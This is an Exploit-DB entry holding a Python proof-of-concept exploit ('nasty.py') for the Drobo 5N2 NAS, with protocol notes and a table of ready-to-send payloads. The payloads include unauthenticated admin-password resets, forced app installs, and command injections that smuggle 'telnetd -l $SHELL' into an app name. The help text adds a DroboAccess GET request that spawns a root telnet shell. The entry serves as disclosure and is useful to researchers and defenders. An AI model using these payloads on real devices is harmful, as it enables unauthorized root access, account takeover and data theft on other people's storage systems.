Exploit-DB #48214
Description: Drobo 5N2 4.1.1 - Remote Command Injection
Type: remote
Platform: hardware
Date: 2020-03-13
Author: Ian Sindermann

Exploit:
# Exploit Title: Drobo 5N2 4.1.1 - Remote Command Injection
# Date: 2020-03-12
# Exploit Author: Rick Ramgattie, Ian Sindermann
# Vendor Homepage: https://www.drobo.com/
# Version: 4.1.1 and lower.
# CVE: CVE-2018-14709, CVE-2018-14701
###

#!/usr/bin/env python3

# nasty.py - A proof-of-concept utility for (maliciously) interacting with the Drobo NASd service.
# This utility leverages the lack of any real authentication mechanism to perform arbitrary actions.
# These actions include:
# - Getting device status.
# - Installing applications.
# - Resetting admin credentials.
# - Popping root shells.
# - Turning on party mode.
# This set of exploits is known to affect the Drobo 5N2, firmware version 4.1.1 and lower.
# As of 2020-03-12, newer firmware versions appear to be vulnerable as well, but this has not been verified.
# Most of the Drobo product line also appears to be vulnerable. Again, this has not been verified.
# These vulnerabilities were disclosed to the manufacturer on 2018-07-10.
# More vulnerabilities for this device may be found here: https://blog.securityevaluators.com/4f1d885df7fc
###
# Product of ISE Labs.
# - http://www.securityevaluators.com/
# - @ISESecurity
###


# RE Notes:
#                                 ,-- Encryption bool?
# Handshake Preamble:       *    /\
# 44 52 49 4e 45 54 54 4d  07 01 00 00 00 00 00 88
# \_____________________/  \_________/ \_________/
#  Static string.           To/from     Size of
#  "DIRNETTM"               server?     next message
#
# Handshake
# 64 72 61 31 37 33 32 30  32 33 30 30 30 31 30 00  00 00 00 00 64 72 61 31  37 33 32 30 32 33 30 30  30 31 30 00 00 00 00 00  00 00...
# \______________________________________________/  \_________/ \_______________________________________________/ \_________________-->
#  Device serial number with NULL padding.           NULL        Device serial number with NULL padding. ESAID?    88 bytes of NULL
#  "dra[PII_REDACTED]0"                                             "dra[PII_REDACTED]0"
#
# The stat port returns an "ESAID" value that is identical to the serial number on this device (5N2).
# One of the serial numbers in this packet may actually be the ESAID.
#
# Preamble:                 *
# 44 52 49 4e 45 54 54 4d  0a 01 00 00 00 00 00 88
# \_____________________/  \_________/ \_________/
#  Static string.           To/from     Size of
#  "DIRNETTM"               server?     next message
#
# Message:
# XX XX XX XX XX XX XX XX  00
# \_____________________/  \/
# Arbitrary length string  NULL terminator
#
#
# Protocol flow:
#   Initial handshake:         ,----- 2nd nibble in 3rd section is different. "07 01 00 00" instead of "0a 01 00 00" #TODO: why?
#   |  c -> s: Preamble.    <-'    \_
#   |  c -> s: Message: Handshake  / `- These two are normally sent as one packet.
#   v  c <- s: Preamble.    <-------- 2nd nibble in 3rd section is different. "87 01 00 00" instead of "8a 01 00 00" #TODO: why?
#   Loop:
#   +> c -> s: Preamble.
#   |  c -> s: Message: Command.
#   |  c <- s: Preamble.
#   +- c <- s: Message: Results.  > Large responses are split into chunks. Must use size from preamble.


import argparse
import logging
import re
import socket
import struct
import sys


LOG_FORMAT = '[%(levelname)s]: %(message)s'
BUFFER_SIZE = 1024
HANDSHAKE_PREAMBLE = b'\x44\x52\x49\x4e\x45\x54\x54\x4d\x07\x01\x00\x00'
PREAMBLE           = b'\x44\x52\x49\x4e\x45\x54\x54\x4d\x0a\x01\x00\x00'
PREAMBLE_LEN = 16

# Note: Payloads usually contain the device's serial number. Replace this with
# '{serial}' so `send_msg` can insert the target's serial.
PAYLOADS = {
    "daccess" :'<TMCmd><CmdID>78</CmdID><Params><Name>DroboAccess</Name><Action>Install</Action><Data>ftp://updates.drobo.com/droboapps/2.1/downloads/DroboAccess.tgz</Data></Params><ESAID>{serial}</ESAID></TMCmd>',
    "dropbear":'<TMCmd><CmdID>78</CmdID><Params><Name>dropbear</Name><Action>Install</Action><Data>ftp://updates.drobo.com/droboapps/2.1/downloads/dropbear.tgz</Data></Params><ESAID>{serial}</ESAID></TMCmd>',
    "getadmin":'<TMCmd><CmdID>30</CmdID><Params><DRINasAdminConfig>DRINasAdminConfig</DRINasAdminConfig><DRINasDroboAppsConfig>DRINasDroboAppsConfig</DRINasDroboAppsConfig></Params><ESAID>{serial}</ESAID></TMCmd>',
    "getnet"  :'<TMCmd><CmdID>30</CmdID><ESAID>{serial}</ESAID><Params><Network>Network</Network></Params></TMCmd>',
    "gettemp" :'<TMCmd><CmdID>61</CmdID><ESAID>{serial}</ESAID></TMCmd>',
    "partyon" :'<TMCmd><CmdID>26</CmdID><Params><IdentifyInterval>900</IdentifyInterval></Params><ESAID>{serial}</ESAID></TMCmd>',
    "partyoff":'<TMCmd><CmdID>26</CmdID><Params><IdentifyInterval>0</IdentifyInterval></Params><ESAID>{serial}</ESAID></TMCmd>',
    "popit"   :'<TMCmd><CmdID>78</CmdID><Params><Name>Drobo`telnetd -l $SHELL -p 8383`Access</Name><Action>Install</Action><Data>bork</Data></Params><ESAID>{serial}</ESAID></TMCmd>',
    "restart" :'<TMCmd><CmdID>21</CmdID><ESAID>{serial}</ESAID></TMCmd>',
    "setadmin":'<TMCmd><CmdID>31</CmdID><Params><DRINASConfig><DRINasAdminConfig><UserName>admin</UserName><Password>ono</Password><ValidPassword>1</ValidPassword><EncryptedPassword>0</EncryptedPassword></DRINasAdminConfig><DRINasDroboAppsConfig><Version>11</Version><Enabled>1</Enabled></DRINasDroboAppsConfig></DRINASConfig></Params><ESAID>{serial}</ESAID></TMCmd>',
    "test"    :'<TMCmd><CmdID>82</CmdID><Params><Time>[PII_REDACTED]</Time><GMTOffset>[PII_REDACTED]</GMTOffset></Params><ESAID>{serial}</ESAID></TMCmd>',
    "stdin"   :'Handled elsewhere.'}

DEFAULT_PORT_STAT = 5000
DEFAULT_PORT_CMD = 5001
DEFAULT_TIMEOUT = None
HELP_EPILOG='''
PAYLOADS
  daccess  - Installs DroboAccess on the target device. At the time of writing,
             DroboAccess has numerous unauthenticated command injection
             vulnerabilities. Try the following:
             GET /DroboAccess/delete_user?username=test';/usr/sbin/telnetd -l /bin/sh -p 8383